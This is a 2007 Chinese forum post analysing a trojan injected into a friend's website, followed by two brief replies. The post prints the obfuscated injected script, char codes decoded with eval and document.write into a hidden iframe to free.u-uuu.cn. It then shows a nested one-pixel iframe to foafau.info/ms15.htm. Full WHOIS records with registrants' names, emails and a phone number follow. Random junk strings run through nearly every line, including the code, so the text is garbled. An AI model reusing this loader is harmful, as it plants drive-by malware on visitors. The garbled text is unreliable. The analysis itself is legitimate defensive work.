社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 6122阅读
  • 2回复

[原创]一篇刚写的分析木马手记

级别: 店掌柜
发帖
5692
铜板
103378
人品值
1520
贡献值
26
交易币
0
好评度
5373
信誉值
0
金币
0
所在楼道

首发在我的博客里面, X&({`Uw<K  
D[R<H((  
http://www.areway.cn/?p=175 >-YWq  
H He~OxWg  
@|J+ f5O  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: DmgWIede|:  
          7I<];j  
<script>t=’60,105,102,114,97,109,101, F#$[jh$  
32,115,114,99,61,104,116,116,112,58,47,47, ejC== Fkc  
102,114,101,101,46,117,45,117,117,117,46,99, X8=s k  
110,47,101,114,114,111,114,46,104,116,109, *27*&&=)H  
32,119,105,100,116,104,61,49,48,48,32,104, m' suAj0  
101,105,103,104,116,61,48,62,60,47,105,102, 6GtXM3qtS  
114,97,109,101,62′; qlfYX8edZ  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> olO&7jh7|  
                                                                                                  0YVkq?1x9  
<script>t=’60,105,102,114,97,109,101,32,115, xt"GO  b  
114,99,61,104,116,116,112,58,47,47,102,114, do(komP<\  
101,101,46,117,45,117,117,117,46,99,110,47, \~bE|jWbj  
101,114,114,111,114,46,104,116,109,32,119, '1yy&QUZq  
105,100,116,104,61,49,48,48,32,104,101,105, (@1*-4l  
103,104,116,61,48,62,60,47,105,102,114,97, hh>mX6A  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); ckPI^0A!  
document.write(t);</script> f")*I  
                                                                                                  J|2OmbJe  
<html xmlns=” QGV~Y+  
http://www.w3.org/1999/xhtml ? $LKn2C  
“> y #Xq@  
<head> |lhVk\X  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> SmYY){AQ/  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> F,-S&d  
<title>首页 - 爱生活家庭网 \Q<Ur&J]%  
                                                                                                                                                    `CQMvX{  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 W g2Y`2@t  
转换字符串后的大概内容是(谁点击后果自付): l4s_9  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… tJ,x>s?Y  
                                                                                                                                  ?4i:$.A Y  
查询玉米u-uuu.cn的详细信息: 4#BoS9d2I<  
Domain Name: u-uuu.cn )R`w{V  
ROID: 20070901s10001s64972306-cn X#*|_(^  
Domain Status: ok ;n,@[v  
Registrant Organization: 王雷 @dj 2#  
Registrant Name: 王雷 RZeU{u<O  
Administrative Email: czlovexs@126.com #]!0$z|Z  
Sponsoring Registrar: 北京万网志成科技有限公司 ^N5BJ'[F:  
Name Server:ns.yovole.com H#B~ h4#  
Name Server:ns1.yovole.com RuHMD"  
Registration Date: 2007-09-01 17:54 9(( QSX  
Expiration Date: 2008-09-01 17:54 aGY F\7  
最后PING了一下地址 都没有什么…. 51k^?5cO  
                                                                                                F! ;0eS"xp  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. A+lP]Oy0S  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> 9ZEF%&58Y  
<script language=”javascript” src=” //}[(9b'\  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script /U#{6zeM[,  
> JS<4%@  
这个玉米应该有可能是木马作者的: d= -/'_'  
foafau.info的详细信息: $6X CHVx  
Access to INFO WHOIS information is provided to assist persons in N3Jfp3_b@  
determining the contents of a domain name registration record in the d M&BnI  
Afilias registry database. The data in this record is provided by '<C I^5^  
Afilias Limited for informational purposes only, and Afilias does not |NcfR"[c  
guarantee its accuracy.  This service is intended only for query-based Y(4#b`k3  
access. You agree that you will use this data only for lawful purposes D{aN_0mT  
and that, under no circumstances will you use this data to: (a) allow, IP`;hC  
enable, or otherwise support the transmission by e-mail, telephone, or N+9`'n^x  
facsimile of mass unsolicited, commercial advertising or solicitations jtk2>Ol   
to entities other than the data recipient’s own existing customers; or G,8LF/sR  
(b) enable high volume, automated, electronic processes that send Jyx6{O j  
queries or data to the systems of Registry Operator, a Registrar, or / ` 7p'i  
Afilias except as reasonably necessary to register domain names or ;@@1$mzK  
modify existing registrations. All rights reserved. Afilias reserves IZ;%lV7t  
the right to modify these terms at any time. By submitting this query, : qKxm(  
you agree to abide by this policy. +Zx+DW cq  
Domain ID:D22418703-LRMS O&!tW^ih  
Domain Name:FOAFAU.INFO .1.Bf26}d  
Created On:20-Nov-2007 16:05:42 UTC 9@-^! DBM  
Last Updated On:20-Nov-2007 16:05:44 UTC P!{ O<P  
Expiration Date:20-Nov-2008 16:05:42 UTC + (cTzY  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) -VESe}c:nQ  
Status:CLIENT DELETE PROHIBITED mk;l;!*T8  
Status:CLIENT RENEW PROHIBITED zhDmZ  
Status:CLIENT TRANSFER PROHIBITED hY.zwotH  
Status:CLIENT UPDATE PROHIBITED |-hzvuSX  
Status:TRANSFER PROHIBITED #KonVM(`  
Registrant ID:GODA-040110615 f.`noZN  
Registrant Name:liu hong -O2ZrJ!q  
Registrant Organization: CqUK[#kW(  
Registrant Street1:beijing T3o}%wGW  
Registrant Street2: 'Dq!o[2y  
Registrant Street3: 7B$iM,}.b  
Registrant City:beijing  ?6!7fs,  
Registrant State/Province: .pgTp X   
Registrant Postal Code:100000 )jK"\'cK  
Registrant Country:CN "$? f&*  
Registrant Phone:+86.860108888777 ?#^_yd|<  
Registrant Phone Ext.: Z4Nl{  6  
Registrant FAX: bGvALz'  
Registrant FAX Ext.: V@Z8t8  
Registrant Email:bbbshiji@163.com Z~t OR{q  
Admin ID:GODA-240110615 zQ$*!1FmN  
Admin Name:liu hong [e )j,Q1  
Admin Organization: 1.0S>+^JE  
Admin Street1:beijing Z,Z34:-  
Admin Street2: )z9)oM\  
Admin Street3: j5ZeYcQ-  
Admin City:beijing t)LD-%F  
Admin State/Province:  b]s*z<|%  
Admin Postal Code:100000 Memz>uux  
Admin Country:CN H'E >QT  
Admin Phone:+86.860108888777 AlNiqnZ  
Admin Phone Ext.: }!\ZJoa  
Admin FAX: FrO)3 1z  
Admin FAX Ext.: Vt:]D?\3  
Admin Email:bbbshiji@163.com m<wng2`NTv  
Billing ID:GODA-340110615 hbhh m  
Billing Name:liu hong _-%A_5lCRE  
Billing Organization: |~bl%g8xP  
Billing Street1:beijing E ?(  
Billing Street2: 5Cd>p<  
Billing Street3: KDW%*%!  
Billing City:beijing tm~V+t!mj  
Billing State/Province: DD\:glo  
Billing Postal Code:100000 I_J;/!l=  
Billing Country:CN 0hXI1@8]`  
Billing Phone:+86.860108888777 8/f ,B:by  
Billing Phone Ext.: ^o]ZDc  
Billing FAX:  KAmv7  
Billing FAX Ext.: A('=P}I^  
Billing Email:bbbshiji@163.com FW:x XK  
Tech ID:GODA-140110615 T=}(S4n#BX  
Tech Name:liu hong *doK$wYP  
Tech Organization: -cCujDM#T  
Tech Street1:beijing | eIN<RY5  
Tech Street2: R74kt36M  
Tech Street3: w} *;^n  
Tech City:beijing S*6P=O*  
Tech State/Province: 1Tf"<D p  
Tech Postal Code:100000 pGz-5afL  
Tech Country:CN \~1M\gZP  
Tech Phone:+86.860108888777 kC"<4U  
Tech Phone Ext.: <8p53*a  
Tech FAX: zCT Wi  
Tech FAX Ext.: imAsE;:  
Tech Email:bbbshiji@163.com ]lzt "[  
Name Server:NS27.DOMAINCONTROL.COM "jzU`  
Name Server:NS28.DOMAINCONTROL.COM !CROc}  
Name Server: jQzq(oDQw  
Name Server: rl9YB %P  
Name Server: AoL4#.r3H  
Name Server: ~AxA ,  
Name Server: gvO}u2.:  
Name Server: :3$WY<  
Name Server: )_OKw?Zi  
Name Server: z%;b-PpS  
Name Server: bE.,)GY  
Name Server: NyI0 []z  
Name Server: '<~l% q  
                                                                                                          j^T.7Zv  
接着下载每个文件里面的代码: "o/:LCE  
一步一步看.. @ 9D, f  
&,2h=H,M  
W~+ ] 7<  
XKB)++Q=  
tT87TmNsA  
|ul25/B B  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水

简单生活
执著追求
别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

级别: 店掌柜
发帖
4241
铜板
744
人品值
897
贡献值
7
交易币
0
好评度
2216
信誉值
0
金币
0
所在楼道
只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五